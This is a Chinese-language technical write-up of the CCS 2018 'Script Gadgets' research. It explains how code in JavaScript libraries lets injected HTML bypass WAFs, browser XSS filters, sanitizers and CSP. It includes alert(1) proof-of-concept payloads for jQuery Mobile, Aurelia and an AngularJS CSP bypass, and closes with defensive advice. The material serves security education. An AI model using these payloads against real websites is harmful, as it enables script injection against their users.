基于Gadgets绕过XSS防御机制技术详解
0x00 背景与研究概述
本文基于CCS 2018论文《Code-Reuse Attacks for the Web: Breaking Cross-Site Scripting Mitigations via Script Gadgets》的研究成果,探讨了在可以注入任意HTML代码的条件下,如何利用JavaScript库中的代码片段(Gadget)来绕过常见的XSS防御机制。
主要针对的防御机制
- WAF:正则匹配型或字符匹配型的Web应用防火墙
- 浏览器XSS Filter:如Chrome XSS Auditor等内置过滤器
- HTML Sanitizers:如DOMPurify等基于DOM解析的XSS过滤器
- Content Security Policy(CSP):主要针对启用
unsafe-eval或strict-dynamic的情况
0x01 Gadget基本概念与简单示例
Gadget定义
与二进制攻击中的Gadget类似,Web中的Gadget是指JavaScript库中可能被恶意利用的代码片段,这些片段本身功能正常但可被攻击者利用来绕过安全机制。
简单示例
var button = document.getElementById("mbutton");
button.innerHTML = button.getAttribute("data-text");
这段代码从ID为mbutton的元素中获取data-text属性值并设置到innerHTML。攻击者可构造:
<button id="mbutton" data-text="">a</button>
当库代码执行时,恶意代码会被注入到DOM中并执行。
0x02 Gadget分类与原理
论文中将可利用的Gadget分为五类:
1. 字符串操作Gadget
这类Gadget通过对字符串的操作将无害输入转换为危险代码。
示例(来自Polymer库):
dash.replace(/-[a-z]/g, (m) => m[1].toUpperCase())
这段代码将连字符格式的字符串转换为驼峰式,如inner-h-t-m-l→innerHTML。攻击者可利用这种转换绕过WAF的字符检测。
2. 元素创建Gadget
直接创建HTML元素或脚本的代码片段。
常见形式:
document.createElement(input)
document.createElement("script")
jQuery("<" + tag + ">")
jQuery.html(input)
当输入部分可控时,这些Gadget可被用来创建恶意元素。
3. 函数创建Gadget
动态创建函数的代码段。
示例(来自Underscore.js):
source = "var __t,__p='',__j=Array.prototype.join," +
"print=function(){__p+=__j.call(arguments,'');};\n" +
source + 'return __p;\n';
var render = new Function(settings.variable || 'obj', '_', source);
这种Gadget通过Function构造函数间接执行攻击者控制的代码。
4. JavaScript代码执行Gadget
直接或间接执行JavaScript代码的片段。
常见形式:
eval(input);
inputFunction.apply();
node.innerHTML = "prefix" + input + "suffix";
scriptElement.src = input;
node.appendChild(input);
5. 表达式解析Gadget
前端框架模板引擎中的表达式解析功能。
示例(Aurelia框架):
<div ref=mes.bind="$this.me.ownerDocument.defaultView.alert(1)"></div>
模板引擎解析并执行了恶意绑定的表达式。
0x03 实际绕过案例
案例1:jQuery Mobile Gadget绕过
漏洞代码:
if (myId) {
ui.screen.attr("id", myId + "-screen");
ui.container.attr("id", myId + "-popup");
ui.placeholder.attr("id", myId + "-placeholder")
.html("<!-- placeholder for " + myId + " -->");
}
PoC:
<div data-role=popup id='--><script>alert(1)</script>'></div>
绕过原理:
- 使用
data-role和id等白名单属性 - 不直接包含
<script>等敏感字符串 - 通过库代码的字符串拼接构造恶意HTML
案例2:AngularJS CSP绕过
PoC:
<html>
<head>
<meta http-equiv=content-security-policy content="object-src 'none';script-src https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js;">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
</head>
<body>
<div ng-app ng-csp>
<div ng-focus="x=$event" tabindex=0>foo</div>
<div ng-repeat="(key, value) in x.view">
<div ng-if=key=="window"></div>
</div>
</div>
</body>
</html>
关键执行点:
function defaultHandlerWrapper(element, event, handler) {
handler.call(element, event);
}
绕过原理:
- 利用Angular的事件处理机制而非
eval - 通过模板表达式间接执行代码
- 不违反CSP的
script-src限制(未使用unsafe-eval)
0x04 Gadget发现方法
1. 手工查找
通过代码审计寻找可能被利用的代码片段,重点关注:
- 动态代码执行(eval, Function, setTimeout等)
- DOM操作(innerHTML, appendChild等)
- 字符串拼接与处理
- 模板引擎实现
2. 基于污点分析的半自动化查找
基于《25 Million Flows Later - Large-scale Detection of DOM-based XSS》的方法:
- 敏感点标记:对
eval、document.write、innerHTML等敏感调用和属性做标记 - 数据流跟踪:跟踪用户可控数据流向这些敏感点的路径
- 大规模爬取:爬取Alexa Top 5000网站进行分析
- 利用验证:当发现数据流入敏感点时,尝试预置攻击载荷
局限性:
- 仅分析第一级链接
- 缺乏用户交互模拟
- 验证时未完全考虑防御机制绕过场景
0x05 防御建议
- 输入验证:严格验证所有用户输入,不仅检查恶意模式,还要验证是否符合预期格式
- 输出编码:根据输出上下文进行适当的编码
- CSP策略:
- 尽量避免使用
unsafe-eval和strict-dynamic - 限制脚本来源为可信域
- 尽量避免使用
- 库选择与更新:
- 选择安全性高的库
- 及时更新到已知漏洞修复的版本
- 深度防御:
- 结合多种防御机制
- 对富文本编辑器等高风险功能实施额外保护